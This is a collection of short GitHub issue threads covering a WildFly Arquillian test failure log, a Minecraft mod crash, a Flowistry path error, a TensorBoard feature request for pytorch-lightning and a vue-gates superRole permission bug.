14:26:36,808 INFO  [org.jboss.as.security] (MSC service thread 1-1) WFLYSEC0001: Current PicketBox version=4.9.3.Final
14:26:36,891 INFO  [org.wildfly.extension.undertow] (ServerService Thread Pool -- 61) WFLYUT0003: Undertow 1.3.0.CR2 starting
14:26:36,893 INFO  [org.wildfly.extension.io] (ServerService Thread Pool -- 40) WFLYIO001: Worker 'default' has auto-configured to 8 core threads with 64 task threads based on your 4 available processors
14:26:36,933 INFO  [org.wildfly.extension.undertow] (MSC service thread 1-7) WFLYUT0003: Undertow 1.3.0.CR2 starting
14:26:36,947 INFO  [org.jboss.as.naming] (MSC service thread 1-5) WFLYNAM0003: Starting Naming Service

org.jboss.as.test.multinode.transaction.TransactionInvocationTestCase: org.jboss.as.test.multinode.ejb.timer.database.DatabaseTimerServiceMultiNodeExecutionDisabledTestCase: To disable this check and allow Arquillian to connect to a running server, set allowConnectingToRunningServer to true in the container configuration
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.failDueToRunning(ManagedDeployableContainer.java:309)
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.startInternal(ManagedDeployableContainer.java:80)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.start(CommonDeployableContainer.java:110)

org.jboss.as.test.multinode.transaction.TransactionInvocationTestCase: org.jboss.as.test.multinode.ejb.timer.database.DatabaseTimerServiceMultiNodeTestCase: java.lang.RuntimeException: Arquillian has previously been attempted initialized, but failed. See cause for previous exception
To disable this check and allow Arquillian to connect to a running server, set allowConnectingToRunningServer to true in the container configuration
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.failDueToRunning(ManagedDeployableContainer.java:309)
	at org.jboss.as.arquillian.container.managed.ManagedDeployableContainer.startInternal(ManagedDeployableContainer.java:80)
	at org.jboss.as.arquillian.container.CommonDeployableContainer.start(CommonDeployableContainer.java:110)

##### there are 16 more failed tests, see build details

authors: jmesnil pferraro rhusar wildfly-ci


text:
Crash with Crystal Trident - [1.20.1]

Hello again, I found a crash on a server with Upgradable Crystal Tools when holding a crystal trident in the main hand.
[crash-2024-06-10_11.01.49-client.txt]
(https://github.com/user-attachments/files/15795288/crash-2024-06-10_11.01.49-client.txt)
This caused me to be unable to join the server and would crash me to desktop.
Thankfully, our server has a backup mod and we restored it before I made the trident.
If there's any way you could repair this, I would be glad to continue testing. Thank you!

Should be fixed in 1.7.3. Thanks for the report!

authors: ToxinZangoose will-y

repo: will-y/crystal-tools


text:
Failed to find source path

https://sourceb.in/E7E4CxfG0I
Repository: https://github.com/railwayapp/nixpacks

I just released v0.5.29 which should fix this bug. Once Flowistry updates, please let me know if this fixes your issue.

Fixed, thank you!

repo: willcrichton/flowistry


text:
Adding visualization module

Do you consider adding visualization ability? For example adding TensorBoard utility to visualize validation curve, or scalar changes, etc.

done! tensorboardX added

authors: ducnx williamFalcon

repo: williamFalcon/pytorch-lightning


text:
superRole not working

I have added the superRole setting, something strange happens with the v-permission directive it works, but with the $ gates.hasPermission() method it does not recognize the superRole.

Same issue. superRole works fine with vue directives but not with directives as functions.

Same here..

You're right! Fixing...

Any news on this issue?

Hey @disjointed @luckasdc @wimil @darkons, fixed!
https://github.com/williamcruzme/vue-gates/releases/tag/v2.1.2

authors: darkons disjointed luckasdc williamcruzme wimil

repo: williamcruzme/vue-gates